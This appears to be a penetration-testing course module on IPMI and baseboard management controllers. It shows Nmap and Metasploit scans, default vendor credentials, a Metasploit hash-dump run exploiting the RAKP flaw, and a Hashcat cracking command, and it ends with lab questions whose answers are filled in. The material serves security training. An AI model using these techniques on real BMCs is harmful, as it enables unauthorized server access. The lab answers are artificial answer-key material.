IPMI

Intelligent Platform Management Interface (IPMI) is a set of standardized specifications for hardware-based host management systems used for system management and monitoring. It acts as an autonomous subsystem and works independently of the host's BIOS, CPU, firmware, and underlying operating system. IPMI provides sysadmins with the ability to manage and monitor systems even if they are powered off or in an unresponsive state. It operates using a direct network connection to the system's hardware and does not require access to the operating system via a login shell. IPMI can also be used for remote upgrades to systems without requiring physical access to the target host. IPMI is typically used in three ways:

- Before the OS has booted to modify BIOS settings
- When the host is fully powered down
- Access to a host after a system failure

When not being used for these tasks, IPMI can monitor a range of different things such as system temperature, voltage, fan status, and power supplies. It can also be used for querying inventory information, reviewing hardware logs, and alerting using SNMP. The host system can be powered off, but the IPMI module requires a power source and a LAN connection to work correctly.

The IPMI protocol was first published by Intel in 1998 and is now supported by over 200 system vendors, including Cisco, Dell, HP, Supermicro, Intel, and more. Systems using IPMI version 2.0 can be administered via serial over LAN, giving sysadmins the ability to view serial console output in band. To function, IPMI requires the following components:

- Baseboard Management Controller (BMC) - A micro-controller and essential component of an IPMI
- Intelligent Chassis Management Bus (ICMB) - An interface that permits communication from one chassis to another
- Intelligent Platform Management Bus (IPMB) - extends the BMC
- IPMI Memory - stores things such as the system event log, repository store data, and more
- Communications Interfaces - local system interfaces, serial and LAN interfaces, ICMB and PCI Management Bus

Footprinting the Service

IPMI communicates over port 623 UDP. Systems that use the IPMI protocol are called Baseboard Management Controllers (BMCs). BMCs are typically implemented as embedded ARM systems running Linux, and connected directly to the host's motherboard. BMCs are built into many motherboards but can also be added to a system as a PCI card. Most servers either come with a BMC or support adding a BMC. The most common BMCs we often see during internal penetration tests are HP iLO, Dell DRAC, and Supermicro IPMI. If we can access a BMC during an assessment, we would gain full access to the host motherboard and be able to monitor, reboot, power off, or even reinstall the host operating system. Gaining access to a BMC is nearly equivalent to physical access to a system. Many BMCs (including HP iLO, Dell DRAC, and Supermicro IPMI) expose a web-based management console, some sort of command-line remote access protocol such as Telnet or SSH, and the port 623 UDP, which, again, is for the IPMI network protocol. Below is a sample Nmap scan using the Nmap ipmi-version NSE script to footprint the service.

Nmap

Nmap

```
Govardhan Gujji22@htb[/htb]$ sudo nmap -sU --script ipmi-version -p 623 ilo.inlanfreight.local

Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-04 21:48 GMT
Nmap scan report for ilo.inlanfreight.local (172.16.2.2)
Host is up (0.00064s latency).

PORT    STATE SERVICE
623/udp open  asf-rmcp
| ipmi-version:
|   Version:
|     IPMI-2.0
|   UserAuth:
|   PassAuth: auth_user, non_null_user
|_  Level: 2.0
MAC Address: 14:03:DC:674:18:6A (Hewlett Packard Enterprise)

Nmap done: 1 IP address (1 host up) scanned in 0.46 seconds
```

Here, we can see that the IPMI protocol is indeed listening on port 623, and Nmap has fingerprinted version 2.0 of the protocol. We can also use the Metasploit scanner module IPMI Information Discovery (auxiliary/scanner/ipmi/ipmi_version).

Metasploit Version Scan

Metasploit Version Scan

```
msf6 > use auxiliary/scanner/ipmi/ipmi_version
msf6 auxiliary(scanner/ipmi/ipmi_version) > set rhosts 10.129.42.195
msf6 auxiliary(scanner/ipmi/ipmi_version) > show options

Module options (auxiliary/scanner/ipmi/ipmi_version):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   BATCHSIZE  256              yes       The number of hosts to probe in each set
   RHOSTS     10.129.42.195    yes       The target host(s), range CIDR identifier, or hosts file with sy
   RPORT      623              yes       The target port (UDP)
   THREADS    10               yes       The number of concurrent threads


msf6 auxiliary(scanner/ipmi/ipmi_version) > run

[+] Sending IPMI requests to 10.129.42.195->10.129.42.195 (1 hosts)
[+] 10.129.42.195:623 - IPMI - IPMI-2.0 UserAuth(auth_msg, auth_user, non_null_user) PassAuth(password, n
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

During internal penetration tests, we often find BMCs where the administrators have not changed the default password. Some unique default passwords to keep in our cheatsheets include:

Product	Username	Password
Dell iDRAC	root	calvin
HP iLO	Administrator	randomized 8-character string consisting of numbers and uppercase letters
Supermicro IPMI	ADMIN	ADMIN

It is also essential to try out known default passwords for ANY services that we discover, as these are often left unchanged and can lead to quick wins. When dealing with BMCs, these default passwords may gain us access to the web console or even command line access via SSH or Telnet.

Dangerous Settings

If default credentials do not work to access a BMC, we can turn to a flaw in the RAKP protocol in IPMI 2.0. During the authentication process, the server sends a salted SHA1 or MD5 hash of the user's password to the client before authentication takes place. This can be leveraged to obtain the password hash for ANY valid user account on the BMC. These password hashes can then be cracked offline using a dictionary attack using `Hashcat` mode `7300`. In the event of an HP iLO using a factory default password, we can use this Hashcat mask attack command `hashcat -m 7300 ipmi.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u` which tries all combinations of upper case letters and numbers for an eight-character password.

There is no direct "fix" to this issue because the flaw is a critical component of the IPMI specification. Clients can opt for very long, difficult to crack passwords or implement network segmentation rules to restrict the direct access to the BMCs. It is important to not overlook IPMI during internal penetration tests (we see it during most assessments) because not only can we often gain access to the BMC web console, which is a high-risk finding, but we have seen environments where a unique (but crackable) password is set that is later re-used across other systems. On one such penetration test, we obtained an IPMI hash, cracked it offline using Hashcat, and were able to SSH into many critical servers in the environment as the root user and gain access to web management consoles for various network monitoring tools.

To retrieve IPMI hashes, we can use the Metasploit IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval module.

Metasploit Dumping Hashes

Metasploit Dumping Hashes

```
msf6 > use auxiliary/scanner/ipmi/ipmi_dumphashes
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set rhosts 10.129.42.195
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > show options

Module options (auxiliary/scanner/ipmi/ipmi_dumphashes):

   Name                  Current Setting                                                Required  Desc
   ----                  ---------------                                                --------  ----
   CRACK_COMMON          true                                                           yes       Autc
   OUTPUT_HASHCAT_FILE                                                                  no        Save
   OUTPUT_JOHN_FILE                                                                     no        Save
   PASS_FILE             /usr/share/metasploit-framework/data/wordlists/ipmi_passwords.txt  yes       File
   RHOSTS                10.129.42.195                                                  yes       The
   RPORT                 623                                                            yes       The
   THREADS               1                                                              yes       The
   USER_FILE             /usr/share/metasploit-framework/data/wordlists/ipmi_users.txt  yes       File


msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > run

[+] 10.129.42.195:623 - IPMI - Hash found: ADMIN:8e160d4802040000205ee9253b608dac3052c837e23faa631260719f
[*] 10.129.42.195:623 - IPMI - Hash for user 'ADMIN' matches password 'ADMIN'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Here we can see that we have successfully obtained the password hash for the user `ADMIN`, and the tool was able to quickly crack it to reveal what appears to be a default password `ADMIN`. From here, we could attempt to log in to the BMC, or, if the password were something more unique, check for password re-use on other systems. IPMI is very common in network environments since sysadmins need to be able to access servers remotely in the event of an outage or perform certain maintenance tasks that they would traditionally have had to be physically in front of the server to complete. This ease of administration comes with the risk of exposing password hashes to anyone on the network and can lead to unauthorized access, system disruption, and even remote code execution. Checking for IPMI should be part of our internal penetration test playbook for any environment we find ourselves assessing.

Start Instance

∞ / 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

Cheat Sheet

Get VPN Key

Target: Click here to spawn the target system!

+ 0 What username is configured for accessing the host via IPMI?

admin

Submit | No Hint

+ 0 What is the account's cleartext password?

trinity

Submit | No Hint

← Previous | Next →

Mark Complete & Next

My Workstation

OFFLINE

Start Instance

∞ / 1 spawns left